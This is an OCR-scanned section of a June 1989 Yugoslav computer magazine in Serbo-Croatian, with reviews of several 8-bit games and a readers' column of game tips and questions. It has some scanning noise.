re mogu poceti.

Ring Pursit je brza i napeta trka

kroz kroz Saturnove kamenite
prstenove. U osnovi, poene dobi-
jate ostajuci ispred drugog takmi-
cara, i vozeci slalom laoz razno-
bojne oznake. Sto duze ostanete u
vodstvu vi§e poena cete dobiti, ali

je esencijalno da oznake obilazite

sa prave strane - koja se odreduje
po boji. Pored toga, trkacka staza

je na nekim mestima u preseku sa

asteroidskim poijima razlicitih

gustina, a umilnim iznenadenjima
koja cete tu doziveti ne bi se pora-
dovao ni Han Solo. Kontrola mi-
sem je vrlo precizna, i izvanredno
brzi 3D efekat cini ovu disciplinu

ubedljivo najstimulativnijom.

Tronic Slider, pak, koristi for-

mat koji ce biti dobro poznat svi-

ma koji su igrali Ballblazer. Za •

one koji nisu, to izgleda otprilike

ovako; imate 3D pogled na neku
vrstu platforme po kojoj su razba-

cani stubovi, Izmedu stubova leb-

dite vi i vas protivnik naoruzani
laserima, a izmedu vas neka vrsta
lopte. Posto vam se lopta nije do-
pala vi je izresetate, i, na op§te za-

prepaS6enje, ona se raspada. Sada
dolazi ono glavno: ostatke lopte
trebs skupljati, jer vam oni kao
daju neke poene. Iz pouzdanih iz-

vora saznajemo kako je Gradska
Cistoca, kao donator ove igre, in-

sistirala na skupljanju otpadaka
kao pozitivnom cinu, kako bi na
perfidan nacin uticala na psihu
mladih igraca. Cega se sve nece
dosetiti... Igra ima vremensko og-
ranicenje, i igrac koji se bude po-
kazao boljim dubretarom pobedu-
je. Pored toga, mozete se i pod-
muklo zaleteti u protivnika i izbiti

mu dubre iz rul^, pokupiti ga i

brzo pobeci sumanuto se smejuci.
Igra je prilicno brza i 3D efekat je

ponovo odlican, ali na vrhuncu
akeija tezi da postane kon^zna -

brzo okretanje, i-udar'anje u stubo-
ve ce vas lako dezorjentisati.

Brain Bowler, moja omiljena
disciplina, predstavlja cudnu me-
savinu izmedu logicke zagonetke i

(verovali , ili ne) BREAKOUT-a.
Pred vama ce sc pojaviti sema ob-
jekata koji podseca na elektronski
mozak podeljen na dva dela, sa

energetskim talasima koji prolaze
kroz mrezu zica, otpornika, preki-
daca i cipova. Misem kontoli§ete
loptu koju ispaljujete na razne de-
love strukture kako bi ih aktivirali

ili deaktiviraJi, sve radi toga da
provedete sest talasa iz raznih de-
lova mozga u va§u polovinu cen-
talnog korteksa pre nego Sto pro-
tivnik uradi isto na svojoj strani.

Na prvi pogled izgleda straSno
komplikovano, ali kada se malo
uvezbate dobicete jednu od najbo-
Ijih korabinaeija arkadne i logicke
igre uopste.

Time Jump je poslednja i dale-

ko najjednostavnija disciplina. Da
biste naterali svoj trotinet da leti

kroz vreme morate skupljati neku
vrstu zvezdica koje pokrecu vas
propeler ili katapult ili Sta bilo.

Ove zvezdice prolecu pored vas, i

vi ih morate loviti smestajuci kur-
zor na njih i pucajuci. Posle tri ta-

lasa zvezdica bicete ispaljeni u
svemir, pa kroz dimcnzionalnu
kapiju, pa u >viziju koja menja
urn" koja se menja u zavisnosti od
kolicine goriva koju ste skupili.
Ovo je najlaksa i, mora se red.
najgluplja disciplina. ali ce vam
ipak pruziti nesto zabave. Njena
najveca snaga led u fantasticnoj.

brzoj grafici kojom je finaino pu-
tovanje propraceno, i koja pred-
stavija dovoljan podsticaj za do-
sadno skupijanje goriva.
PURPLE SATURN DAY je odli-

can program, uraden sa grafickim
stilom i zvuenim efektima iz po-
znate „Exxos''-ove igre CAPTAIN
BLOOD. Sve discipline su tehnic-
ki savrsene i vrlo zabavne. tako da
ce vas privlaciti mnogo puta.

<> Vladimir Pavlovic

QUESTION OF SPORT
Evo jos jednog primera kako

jednostavne igre mogu biti veoma
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zabavne. QUESTION OF SPORT
nam stize iz firme „Eliite" (dugo ih

nisrao videli na programerskom
trziStu). Ako ste pomislili da cete

odigrati neki novi fudba! ili ko§ar-

ku, pogreSili ste. Ovo je kviz-pita-

lica u kojoj odgovarate na pitanja

iz sporta. Najbolje bi bilo da pozo-

vete druga ili drugaricu (e sad,

ako pozovete drugaricu, ne veru-

jem da cete se ba§ mnogo zanima-

ti za kompjuterske igre, ali nema
veze), i da s njim (njom) odigrate

koju partiju, jer je igra radena sa-

mo za dva igraca.

Igrometar %COoo
1

QUESTION OF SPORT
]

1

Verzija za 7X SPECTRUM

Grafika DBHBBBzIIMil]

DBEKIBBALllimJ
laciK nBBBBBHBjES]
izrodi nBHBBBB»|aliiil

Sada neSto viSe o samoj igri. Po-

stoje cetiri „discipline"; The Pictu-

re Board, Home or Away. What
happened Next? i Quickfire Ro-

und. Podimo redom.

The Picture Board - iliti tabla,

je prva „disciplina". Na ekranu se

prikazuje tabla sa dvanaest kva'd-

ratica. Dovedite kurzor na jedan

od njih i pritisnite pucanje. Pojavi-

ce se sliCica sporta iz kojeg treba

da date odgovor na po^tavljeno pi-

tanje. To moze biti fudba!, golf,

trke na motorima. konjicke trke,

tenis, boks ili atletika. Postavlja

vam se pitanje npr. ko je bio naj-

bolji strelac na mundijalu 1986. u

Meksiku, a onda vam se prikazuju

imena cetvorice igraca. Ako pogo-

dite, dobijate dva poena, a u sup-

rotnom, protivnicka ekipa dobija

§ansu da zabelezi jedan poen.

Home or Away - pitanje je ve-

zano za sport koji je prikazan na

slicici (gornji desni ugao ekrana).

Ako vam se sport svida, pokusava-

te da odgovorite i mozete dobiti

dva poena. Ako vam se, medutim,
sport ne svida, kompjuter vam nu-

di drugi sport, i na to pitanje od-

govarate; ako odgovorite tacno,

dobijate samo jedan poen, a ako

ne, §ansu dobija protivnicka eki-

pa.

What Happened Next - postav-

lja vam se pitanje, na primer „Taj i

taj je u biciklistickoj trci te i te go-

dine zauzeo prvo mesto. Sta se do-

godilo kad se popeo na pobedniC-

ko postolje?" Nude vam se Cetiri

raoguca odgovora, npr. „A. Popio

je iampanjac na iskap; B. Pao je sa

postolja i slomio nos; C. Boca

iampanjca koju je dobio bila je

prazna; D. Ispustio je bocu i ona

se razbila."

Quickfire Round - ovde sve re-

savaju refleksi (i raalo znanja, na-

ravno). Ucestvuju oba igraca, a

cim se postavi pitanje, nude vam
se cetiri odgovora, Ako budete

brzi i pogodite odgovor, dobijate

dva poena, a ako ne, vas protivnik

dobija jedan poen.

Posle zavrsetka ..Quickfire Ro-

und"-a, vracate se na ..Picture bo-

ard” i tu je zavrSetak igre.

Ako ste mislili da mozete mno-
go da razmisljate za odgovor na

pitanje, prevarili ste se. Kad vam
se ponude odgovori na pitanja, u

donjem delu ekrana se pojavljuje

mali sat koji juri neverovatnom
brzinom. Ako stignete da se setite

odgovora pre nego sto sat otkuca

dvanaest, gubite mogucnost da

ponovo odgovorite na to pitanje.

Sve u svemu, dobra igra koja

vam moze posluziti da se odmori-

te od pucanja i ubijanja razbojni-

ka, svemiraca i ostale gamadi.

O Vladnnir Pecelj

Igra domaceg adtora

FORMULA 1

(grometnr %

lu
FORMULA 1

|\erzijaza Commodore 64
,

Dradko nBBBBBHlilU^
nnimucija nBHBBBH

'

bT^oI

Ido, a OBBBBQB .81^
urada DBBDBBB

Izgleda da nova politika Ante

Markovica dobro deluje na razvoj

domaceg softvera. Sve vise se na-

laze zanimljive igre raznih jugos-

lovenskih „privatnika".

Jedna takva igra je FORMULA 1

- menadzerska simulacija. Ideja je

dosta stara. Slican program poja-

vio se za ZX Spectrum jos u vru-

cim hakerskim letima godina '83,

'84. Isto je u pitanju bilo vodenje

tima Formule 1, ali je ovde ideja

usavrsena.
Posto izaberete nivo igre (1

-

pocetnik, 2 - profesionalac, 3 8

manijak), biracete tim koji cete

voditi. Na spisku su svih 10 - od

Me Larren-a do Arrows-a.

Izabrali ste tim i krecete u ku-

povinu ekipe. Meni, koji se sada

pojavio i koji ce se javljati posle

svake trke sadra opeije:

R - stanje u timu: vozaCi, bolidi.

broj ukupnih bodova tim u po-

SVET KOMPJUTERA / JUN '89.

slednjim sezonama, trenutno sta-

nje novea
T - tabela vozaCa u ovoj sezoni

K - tabela konstruktora (timova)

u tekucoj sezoni

D - raspored trka u sezoni, kojih

ima 12

N - kupovina vozaca, tu su vam
na raspolaganju dvadeset svetskih

imena vozaCa
I - banka - vracanje i uzimanje

dugova do 3000 (fund, ako vam se

svida)

P - prodaja vozaca iz va§eg tima

E - kupovina servisne ekipe, bo-

lida i motora
S - snimanje statusa na kaseto-

fon
Za poCetak sezone od 10.000

(USD, ako vam se vi§e svida) mo-
rale kupiti dva vozaca. Preporucu-

jem vam da jedan vozaC bude bolji

(Sena, Prost, Berger, Mensel...), a

drugi gori (Eliot, Bejli, Dalma...).

Boljeg vozaca opremite dobrim
bolidom i motorom Dzad, a lo§i-

jeg Krosvortovim i lo§im bolidom.

Servis ekipu, koja ce vas sluziti u

toku svih sezona, kupite najbolju,

jer je jeftina.

Na „spac" pocinje prva trka.

Prethodno birate gume, za tempe-

rature ispod 27® C uzimate tvrde,

a za vise meke. U tom meniju pre

trke mozete jo§ i da varate (1), ta-

ke Sto cete malo preurediti motor

protivniku, ili izvrsiti sabotazu ili

potkupiti protivnika. Sirok dijapa-

• zon mucki i prevara. koje. blago

vama, ne mogu biti otkrivene. Po-

red toga mozete frizirati motor i

kladiti se na pobednike.

Sledi start trke. Nakon nekoliko

trenutaka, buljeci u beo ekran i

grickajuci nokte, ugledacete rezul-

tate. Prva sestorka dobija poene

za svetski kup. Posle toga sledi bi-

lans vaSeg novea - 70 (DEM, jo§

bolje) su troSkovi puta, placa se

procenat duga band i dobijate

svoju zaradu od trke.

I sve tako u 12 trka sezone. Po-

sle svake sezone dobijate 1000

(DIN, ko ovo napisa?!) koje moze-

te pametno utroSiti za vracanje

duga band ili za stvaranje bolje

A da biste stvorili dobru ekipu

potrebno je odigrati oko 5 sezona.

Tad se stvara potreban novae za

Hondin motor za oba vozaCa i od-

licne bolide. Vrlo je vazno i ko je

za volanom - preporuCujem Ber-

gera, Butsena, Mensela, Senu -ili

Prosta.

U celini, program je debar za

ubijanje dosade, ali je jo§ bolji za

one koji uzivaju u menadzerskim
simulacijama. FORMULU 1 je na-

pisao domaci autor Ivan Zupic

(Trg Svobode 30, 61420 Trbovlje),

pa ako ste u sreu odavno zeleli da

dreknete Prostu na uvo da nema
veze i kao njegov trener ga otpus-

tite, evo prave prilike za vas.

O DuSan Stojicevic

GUN-BOAT
GUN-BOAT je simpatiCna igra

za Commodore 64. Ima dopadlji-

vu i veoma brzu grafiku, kvazi-

-trodimenzionalnu (sto ce red da
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St mozete kretati u „dubinu'’ ekra-
na, ali to nije uradeno bas realis-
tiCn^ i finu animaciju, Zvuk je

standardan. Ci]j igre je unigtiti sve
neprijateijske baze, ploveci tor-
pednim camcem i raznoseci ob-

1

igromatni ^
ii £ a S S £ t S Hi

1

GUN BOAT
1

]

Verzija za Commodore 64
|

Dm.iku DEIBEIEIC
nnimeiija DBBDBI
idFja DBBBBC
irroda DBBDBC

IBaiHin

1 /TeNiio]

1HB9|io|

IBB 9^01

jekte na neprijateljskoj obali.

Igra se odvija u nekom zami§lje-
nom zalivu, kome po komplikova-
nosti i granjanju nije ravna ni Bo-
ka Kotorska. Na obali se nalaze
neprijateijski objekti. Od njih vise
vrsta, najprijateljskije prema vama
se odnose zgrade, koje ne rade ni-

§ta. za razliku od vojnih objekata,
kojima ste nesto ocigledno skrivili

u proslosti. To je izvesno, jer niko
normaian ne puca na turisticki

torpedni camac „malokalibar-
skim" topom od svega 40 mm...

Salu na stranu, igra je zaista pu-
na akcije. Imate na raspolaganju
tri oruzja odjednom. i imate ih i

na pocetku igre. Naoruzani ste to-

pom, a hice iz njega ispaljujete u
pravcu kretanja pritiskom na dug-
me dzojstika. Hi pritiskom na tas-

ter „1" na tastaturi. Rakete. koje
su samonavodene i ispaljuju se u

najblizi cilj na obali, ispaljujete
pritiskom na „2", dok bombe, koje
bacate sa strane broda na blizu
obalu, ispaljujte sa „3",

Sto se neprijatelja tice, njih ima
mnogo. Najopasniji su svakako
helikopteri, koji vam kruze iznad
glave i bacaju bombe na vas; tu su
jo§ i brodovi slicni vasem od kojih
takode stradate. Sa obaie vas na-
padaju tegki objekti koji pucaju ili

topovima ili raketama. Ponekad
proleti i jedan simpatican avion i

izbaci bombu u brisucem letu. Pa-
zite se da i vas ne izbri§e, po§to
mu to u 90% sluCajeva polazi za
rukom, tj. krilom. Ponekad fie po-
kusati da izvedu diverziju, tako
sto ce poslati ronioca (koji. o cu-
da, roni po povrsini vode) da na
vas nakaci bombu. Od njega bolje
bezite, nije bas fino kada uspe u
svom pokusaju.

Igra je uradena bez skrolovanja,
iako se Cini da bi sa njim delovala
mnogo efektnije. Uradena je po
skrinovima; skrenite levo ili desno
i nalazite se na drugom skrinu.

,

Poneka lokacija ima i izlaze nago-

'

re ill nadole, ali vecina vodi samo
levo-desno.

Unigtavanje baza: to je vas prio-
ritetni zadatak. Njih unigtavate ta-

ko sto ispalite raketu i bezite. Ako
ste hrabri (ili glupi) necete bezati;
ipak vas upozoravam da su sve ha-
ze okruzene helikopterima i da
imaju veoma veliku ubojitu moc.
Po tome cete ih i prepoznati.
Na pocetku igre imate tri zivo-

ta, a na kraju, gto znaci za oko 15
sekundi. nemate nijedan. To je je-

dina zamerka ovoj igri: pretegka
je. Ali to [grace obicno stimulige
da jos igraju.

O Goraa MUovanovic

Mind Trap bolji

od Tetrisa
Tako bar misle ljudi iz bri-

tanskog casopisa ..Crash" koji

su igru naseg saradnika Pred-
raga Becirica ocenili sa 84%. a

Tetris je dobio 82%, To sto se

tice verzije za Spectrum.
Verzija Mind Trap-a za C-

-64, po nasem misljenju, nije

nista losija ali je u casopisu
Commodore User dobila 66%.
Svuda se naglasava da se radi

0 igri koja je, kao i Tetris, do-
sla iz zemaija Istocnog bloka,
.iza gvozdene zavese" i si. En-
glezi pojma nemaju: mi smo
van svih blokova, mi smo ne-

svrstani, a igra lici na Tetris

samo utoliko sto je logicka i

sto je napravljena (jugo)istoc-

no od Austrije.

U svakom slucaju, ocene su
dobre. Zajedno sa firmom Ac-
tivmagic koja je u saradnji sa

nasom redaiccijom preuzela ig-

ru od autora, prosledila firmi

Mastertronic, a ova piasirala

na trzista sirom sveta - mi se

polako probijamo.

Planet 10 (uzgred, u Svetu
igara 5 nije naglaseno da se ra-

di 0 izvrsnoj trodimenzio-
nalnoj verziji Pacman-a) je

ugledao svetlost dana ii

verziji za C-64 (konvertova-
li Branislav Tomic i Pred-
rag Beciric) i uskoro ce se
obe verzije (za Spectrum i

Commodore 64) pojaviti u
prodavnicama softvera u
Engleskoj.

Toliko za sada. Akcija i

dalje traje.
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Ureduje Nenad Vasovic

A sta da radim...

jaCih reprezentacija verovatno nece§

moci da daS go) sa strane, kao kod osta-

lih. Zato se potrudi da nateraS protiv-

nickog igraia da izbaci loptu u gol-aut,

Lopta fie pripasti tebi, a ti je tada Sutni

iz sve snage. Golman fie ostaviti praznu

mrezu, pa onda mozeS da se s loptom

.usetaS" u nju. Ovo ne pali bas svaki

put.

O
vom prilikom rubriku otvaramo

pismom Bojana Lalica iz Vukova-

ra, po§to je njegovo pismo bilo

najinteresantnije u proteklom periodu.

Naime, Bojan je u svom pismu zamolio

urednika ove rubrike da mu poSalje au-

togram i svoju slikicu. Doticni ne zna

kako da shvati ovu provokaciju. U sva-

kom slucaju, ne moze izafii Bojanu u

susret, jer je poslednju seriju svojih fo-

tografija p^ radnim nazivom .Vasa u

teretani' posiao jednom udruzenju

mladih hakerki iz Svedske. Sliku tvoju

ljubim... Idemo sa savetima, svi su za

Spectrum, FOXX nGHTS BACK, kre-

ni desno do prve gradevine i stani tako

da ti desni kraj ekrana obuhvata poCe-

tak kufie. Okreni se desno i ukJjuCi .au-

to-fire'. Ovim postupkom steci ce§ go-

milu bodova, a samim tim i gomilu zi-

vota (raada na ekran moze stati samo

6, kompjuter fie zapamtiti i ostale). RO-
AD WARS, ako igra§ sa dva igraca,

pusti jednog da izgubi sve zivote, a na

dnigog pazi da ne izgubi nijedan. Na
sledefiem nivou uniStenoj kugli digni

oklop (iako se ona ne vidi) i kugla fie

vrSiti istu funkciju kao-zivi igrac, samo

fie biti nevidljiva i imati bezbroj zivota.

PSYCHO PIGS, kad ubijeS sudiju, iza

njegovog pepela uvek fie ostat neko po-

magalo. SAMURAI WARRIOR, bag -

kad skociS i u letu se nade§ iznad nepri-

jatelja, zamahni katanom i on fie se

pretvoriti u prah. Bojanova pitanja:

Gde da nade dvojnika u igri JACK THE
NIPPER n i fiemu sluzi laso? ELITE,

koliko puta raora da pogodi neprijate-

ija .Military laserom', kako da unisti

stanicu, kako da koristi .energy unit' i

cemu sluii ,ECM system'? DRUID II,

kada pozove splavara da ga prebaci

preko jezera, on mu uzme novae i igra

se prekine, tj. ispi§e se poruka .play ga-

me tape' a ni u jednom piratskom ka-

talogu nema drugog dela programa.

Sta da se radi?

ta koji pali u 85 odsto slucajeva - drzi

taster za pucanje i broj 1, CHICKAGO
3, po startovanju igre pritisni dugme
.gore’ i .caps shiff i biraj nivoe igre.

Z
latan Aleksifi odgovara na pitanja

Danijela Zlatkovifia (fiijih pisama

ovog puta nema jer su sva objavlje-

na u .Svetu igara S'). Na Danijelovo pi-

tanje u vezi sa igrom TITANIC stiglo je

mnoStvo odgovora, a mi smatramo da

je ovaj najpotpuniji. Cilj prvog dela je

pronaci ostatke Titanika u prostoru od

16 X 6 ekrana, Sifra za drugi deo je

SUSIE, a radioaktivnu zonu nije ni po-

trebno prelaziti jer je to slepi put. ReSe-

nje nije potrebno ukoliko se skicira ma-

pa i pazi na kiseonik i munieiju, kaze

Zlatan i dodaje put kojim je on i§ao: 2

desno, 2 dole, 2 levo, 2 dole, 1 desno, 1

dole, 3 desno, 1 gore, 1 desno, 1 gore, 1

desno, 1 gore, 1 desno, 3 dole, 1 levo.

R-TYPE, fiudoviSte uni§tavaS tako §to

mu prvo uniStiS ofii (ima ih nekoliko) i

gada§ u zmijoliko stvorenje koje povre-

meno izviruje iz njegovog stomaka.

Inace, najvaznije je dobro pucati.

I

zvesni fiitalac koji se potpisao kao L
T. pita sledece: Kako da ubiie PRED-
ATOR-a u istoimenoj igri? Sta je cilj

igre INSPECTOR GADGET?

C
etvorka iz Beograda u sastavu:

UroS Stevanovifi, Vladimir Pauoo-

vifi, Jovan Tadifi i SiniSa Radulovifi

daje sledece savete za Commodore:
GHOSTS'N GOBLINS, dzin na kraju

drugog nivoa se najlaj^e uni§tava ako

se stane izmedu njegovih nogu. Kad se

pomeri on, pomeri se i ti. TIGER
HELL, najbolja taktika je drzati sfe do-

njeg desnog ugla ekrana sa ukljucenim

„auto-fire“. Za Spectrum, TRACKSUIT
MANAGER, utakmica traje prilicno

dugo. Njen tok se ubrzava tako §to za

vreme trajanja treba drzati dzojstik na-

gore. GARRY UNAKER SUPER SKIL-

LS, energiju nadoknadujeS pijufii iz bo-

k^a (flaSe). To postizeS pritiskom na

taster 'D', zatim povufieS dzojstik nado-

le.

B
ojan Majer, saved za Commoi
RENEGADE HI, sa <RUN/!
P > se prelazi na sledefii niv{

to nije narocito korisno sko nem^

disk. TITAN, pritiskom na tastei

<F7> prelazi§ na sledefii nivo, SPIT-

TING IMAGE, svaka licnost ima tajno

oruzje koje se aktivira povlacenjem

dzojstika u suprotnoro smeru i pritiska-

njem .fire': Regan - udarac glavom,

Gorbacov - udarac biCem, Tafierka -

bljuje vatru, Bota, da prostite - mokri

na protivnika. Papa - prosipa boju na

neprijatelja, Homeini - udarac bradom

(???). EMYLIN HUGGHES SOCCER,

igrac i moze voditi tim i igrati utakmi-

ce na sledefii naCin: odaberi opeiju

.edit team" u kojoj moze§ menjati ime-

na igraca. Kod opeije .played by" unesi

ime i tim je u tvojim rukama, Ukoliko

te nervira da stalno gledaS utakmice ra-

Cunara sa samim sobom reSenje fie§ na-

ci u prvom meniju sleva. Ako ti je kom-

pjuter zabio par golova; a tebi to isto

ba§ i ne ide, pritisni < RUN/STOP>
utakmica jjonovo (wCinje. INTENSl

TY, preko vasionskih platformi vozi

.skimmera". Njegov cinj je da obezbec

radnicima da bezbedno stignu do kap

sule za spasavanje, zvane Dron. Krat

kim pritiskom na pucanje razaraS ne

D
ejan Dojfiinovic ima pitanja za ig-

re na Commodoreu. Kako da u ig-

ri MICKEY MOUSE prede poiom-

Ijene stepenice? Sta da radi sa predme-

tima koji padaju u igri HERCULES?
Kako se igra i §ta je cilj igara METAL
WARS, LIVING DEAD i CYBER-

WORM? Dejane, za poslednje pitanje,

odgovor je da ti verovatno traka nije u

redu, i da se program ne ucitava kako

treba.

moguce ufii, naci ce§ se u zgradi. Kad si

u kolima, puca§ tako §to pritisne§ jed-

nom .fire*. 3. Savet maskoti ove rubri-

ke, Daniju iz Zemuna za R-TYPE (jos

jedna moguenost, prim, ur.) - brzo

paljbom unisti sve oci cudovi§ta i kad

unistii poslednje oko, brzo se provuci

ispod donjeg dela cudoviSta i donjeg zi-

da (kad cudovi§te podigne rep kojim §i-

ba gore-dole). Slede op§tenamenski sa-

veti. MATCH DAY 2. kreci se donjim

delom terena i kad dodeS do Sesnaes-

terca idi u smeru gore -i- pravac. Kad

dodeS do prve linije sutni najjacim §u-

tom. u 95 odsto slucajeva lopta zavr§a-

va ispod precke. Ako se nadeS ispred

golmana, §utni levo ill desno od njega

najslabijim Sutem. 3D STOCK CAR, u

krivinama oduzmi samo malo gas da

ne bi doSlo do proklizavanja. Inace,

najvefiu prednost moras steci bas u kri-

vinama jer na ravnom imas istu brzinu

kao i druga vozila. OCTAN, skupljaj §to

vi§e ikona 'M' i 'L', jer one pojaCavaju

vatrenu moc broda. Ivanu treba obja§-

njenje igre KNIGHTMARE.

ragan.^^^ iz Kragujevea §aije

uputs^^^k ubiti zlog §oguna u

igO^Bj^ft^A 2. Prvo otvori

slike i izvadi kugli-

na kracima zvezde

ubij soguna tako da

tvrsinu koju zahvata zvez-

:oga ti jos samo preostaje da

vratiS u sef. Dragan nudi reSe-

Tagovanog" nivoa u igri ROBO-

, Prihvatamo se zadovoljstvom -

§to pre! Sto se tice kodova za igru

BRUNO BOXING, nadamo se

i citaoci pomoci.

prijatelje, a ako ga drzis malo duze
' ' latfospustaS se na platforrau i na to mesto

dolazi Dron. Potrudi se da se podignei

sa platforme pre nego §to do tebe stig-

ne Dron, jer fie inace biti - bum! ST.

ANDREW'S GOLF, C - izbor palice

(Wood i Iron), F - snaga kojom fieS za-

hvatiti lopricu, D - pravac leta lopte;

podudara se sa polozajem kazaljki na

satu (brojevi od 00:01 do 12:00), S - na-

cin udarca (normalan, zasecen, u luku)

,
L - koordinatni sistem za lopticom u

koordinatnom pocetku, 1 - udarac lop-

te, 2 - pokazuje Sta je na slid terena.

D
ejan DoMevic iz Novog Beograda

je zapeo kod igre KING OF CHI-

CAGO. Treba mu reSenje. Za

ONE ON ONE 2. kaze, trojka se najlak-

5e postize iz krajnjih levih i desnih Ug-

lova. U igri FAST BREAK preporucuje

tim Jammers" za lakSu pobedu, jer

ima odlifine pojedince.

rdao Popovic iz Kule, savet za TEC-

HNOCOP- PoSto od 5. nivoa poci-

'nju muke u voznji kolima, evo jed-

nostavog leka; pre nego Sto kola krenu,

nemo) davati gas vefi skreni sa puta i

prodi izmedu drveca, Sad nastavi da

voziS van puta gde te nista ne moie

omesti. Kad dodeS do razbojnickog

skroviSla uspori i vrati se na put. SPE-

EDBALL, izaberi srednjeg borca, jer

ima najvefiu snagu (power), a poSto

ima malu izdrzljivost (stamina) posle

svake utakmice mu noveem koji si za-

radio povefiavaj ovu osobinu. U igri je

najlakse dati gol tako Sto treiS sve vre-

me pored zida boriliSta. gde fie te retko

stifii pritivnicki igraci. Kad se pribliziS

golu kreni prema golmanu. On fie is-

treati prema tebi i samo mu poSalji jed-

nu bekhend dijagonalu u suprotan

ugao gola.

I

van Nikolifi iz NiSa ima problema sa

igrom PIPES, koja ja prilicno stara

(1984.), ali se ipak nada fie dobiti po-

mofi. Sta je cilj? Da li igra ima nivoe?

Da li moze da se udu u neku od kufii-

ca? Kako? Sto se tifie blokiranja progra-

ma, glavni razlog je neznanje pirata ko-

ji igru .razbije'.

Z
oran Miloievifi, saveti za Spec-

trum. Na sedmom nivou COMBAT
SCHOOL-a je tuca sa instrukto-

rom. PoSto je njega teze prefii, evo save-

V
uk Vukievifi iz Beograda ponovo

kod nas. MICROPROSE SOCCER,
najbolje je izabrati reprezentaeiju

Brazila - oni su najjafii, pa kasnije ne-

ceS igrati protiv njih, kaze Vuk. Protiv

I

van Stepovifi iz Kragujevea daje od-

govore na neka pitanja iz ranijih

brojeva. 1, .Fizicarima' Jasminu i

Lordanu iz Splita - kada se ispiSe .loc-

ked" pritisnite slovo 0 i nafii fiete se u

meniju; 2. Savet Nikoli Tomicu za MI-

AMI VICE - kad dodeS do neke zgrade

zaustavi kola ili levo ill desno. Ako je

I

van Cirkovic odgovara na pitanja o

ELITE na Spectrumu. Za intergalak-

ticka putovanja treba prvo kupiti in-

tergalakticki .hyper space", onda na

mapi krstifiem odrediti planetu u dru-

goj galaksiji i tasterom H aktivirati .hy-

per space". Biti rudar na asteroidu vrlo

je jednostavno. Potrebno je imati .Mi-

ning laser" kojim se vade minerali i ru-

de sa asteroida. Malom narodu (Trum-

bles) koji se namnozi po brodu ipak

mozes doskociti. Zaleti se prema nekoj

zvezdi i u samoj blizini napravi okret

na levo krug da se ne bi i li sprzio. Dru-

gi pul pazi. Ivanova pitanja su; Sta tre-

ba uraditi u igri SKATE CRAZY pa da

treci sudija sleva pokaze i neku drugu

ocenu osim nule? Kako srediti tenk na

trecem nivou igre AIR FORCE 2?

_t>
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U
poslednji cas stiglo nam je pisruo
Dejana Lazarevita iz Majdanpeka
sa jo§ nekim stvarCicama za TITA-

NIC. Cilj dmgog nlvoa je da, kao prvo.
prebaciS prekidac iz .on* u .off* polo-
zaj. cime te ti se otvoriti novi prolazi.
Zatim treba da nade§ TNT, i ostaje ti

jo§ da sa njim dodeS do sefa i uzmeg
ono §to treba iz njega. To je neki doku-
ment. I prekidac i TNT su na najnizem
spratu broda, ali je prekidac u levoj a
TNT u desnoj polovini. Dejan je poslao
i neke POKE-ove za iak^ igranje, a
njih cete naci u .Poke cakaraa".

I
ratislavu Mi$i£u iz Doboja kratak
|Odgovor na njegovo pitanjerne easi
,ai casa.pisi.

SVET IGARA

B

O
pet Zoran Milosevic, samo ovaj je

iz Sarajeva, a saveti su za Com-
modore. HEAVY METAL, moguc-

nosti vozila: MET, brzinu podeSavaS
testerima 1-4, a zaustavijaS se sa < spa-
ce >. Neprijatelje pogadas tako da na
prikazivacu mete skalu s leve strane
namertiS da pokazuje broj slican kao i

cifre ispod slike mete. Biranje oruzja
vrsi se funkcijskim tasterima. ADAT,
pritiskom na < space > ispaljujes sa-

monavodne rakete. FAV, da bi izbegao
bombu koja pada na tvoj tenk, cim je

cujes idi samo nadesno (ili nalevo) sve
dok ne padne kraj tenka. DEFENDER
OF THE CROWN, prvo odaberi Lon-
gsorda, osvajaj samo zamkove i to prvo
onaj na teritoriji br. 14 (na mapi iz bro-
ja 4/89) jer je najbogatiji. TEST DRIVE,
odaberi ferari jer najbrze skrece i naj-
brzi je, dok najbolje ubrzanje ima lotus.
Funkcije tastera; D - stalni prikaz me-
njaca, V - brojni prikaz brzine, 0 - is-

kljucenje automatskog menjaca, S - is-

kljucenje zvuka, P - pauza. •

E
lvir i Edin Juljevic i Milan Jakov-
Ijevic poslali su iz Sarajeva jedno
zajednicko pismo. SLAYER 2, tre-

ba pokupiti Sto viSe ruzicastih loptica,
jer svaka od njih spasava po jedan zi-

vot. Takode su bitne i ikone koje se na-
laze pri vrhu ekrana, radi lakseg pro-
laska pored lasera. Ima i jedno pitanje:
kako se uniStava veliki svemirski brod
na kraju prvog nivoa? RAMBO m, pre
nego Sto pokupiS predmet broj 9, poku-
pi predmete 7, 8 i 10. Zatim podi u naj-
yiSi levi ugao ove gradevine gde ces na-
ici na vrata koja nisu nacrtana na mapi
objavijenoj u jednom od ranijih brojeva
naSeg lista. Tako ces veoma lako poku-
piti predmet broj 9. Ovaj put spasite ti

zivot koji bi sigumo izgubio da ides
kroz pustinju. Kad podes da pokupiS
predmet broj 11, uci ceS u mracnu so-
bu. Tu iskoristi lampu, tj. predmet broj
6. Ovde imamo i dva pitanja; Za Sta

siuzi gumena rukavica? Kako se otvara-
ju vrata sobe sa pukovnikom Trautma-
nom? HALL OF FAME, na prvom ni-

vou predi iza gradevine sasvim levo i

pntisni .fire". Odmah ces preci na 4

nivo, dobiti jedan nagradni zivot i js-

tvariti rezultat od preko 100.000 p'.ena.
Zatim upiSi svoje inicijale i na prvom
nivou te ceka veoma ugodno iznenade-
nje.

O
pet malo o CAMELOT WARRI-
ORS. Stigla su nam dva pisma, od
Ivana Marjaooviu iz foagujevca

i Milana Grujica iz Sapca. koja upotpu-

njuju jedno drugog i razjaSnjavaju joS
par stvari koje nismo objasnili u pro-
Slora broju. Cilj igre nije renovirati kra-
Ijevu sobu, vec pokupiti predmete koje
je ostavio glavni lik iz Tvenovog roma-
na Jenki na dvoru kralja Artura*. To
su sijalica, televizor, konzerva koka-ko-
le i telefon, koje treba uniStiti kako ne
bi zbunjivale buduce narastaje. Nastav-
Ijamo tamo gde je proSIi put stao Jovan
iz Petrovaradina: da bi preskocio biljku
mesozderku, najbolji je siedeci metod -

idi do kamepa ispred nje, okreni se na
suprotnu stranu, skoci SUPROTNO od
biljke, na mestu doskoka pomakni se
jedan korak prema biljci, skoci i naci
ceS se na samom kamenu. Odatle skoCi
u vodu, pomeri se do ivice bare i odatle
skoCi na lokvanj. Zatim se pomeri malo
napred i naci ce§ se na drugom nivou
Tu pokupi televizor i odnesi ga Neptu
nu da te vrati u ljudski lik. On ce te po
slati na kopno, gde treba da pokupi
konzervu koka-koie. Nju treba da ot
premig zmaju, ali pazi. jer on bljuje vat
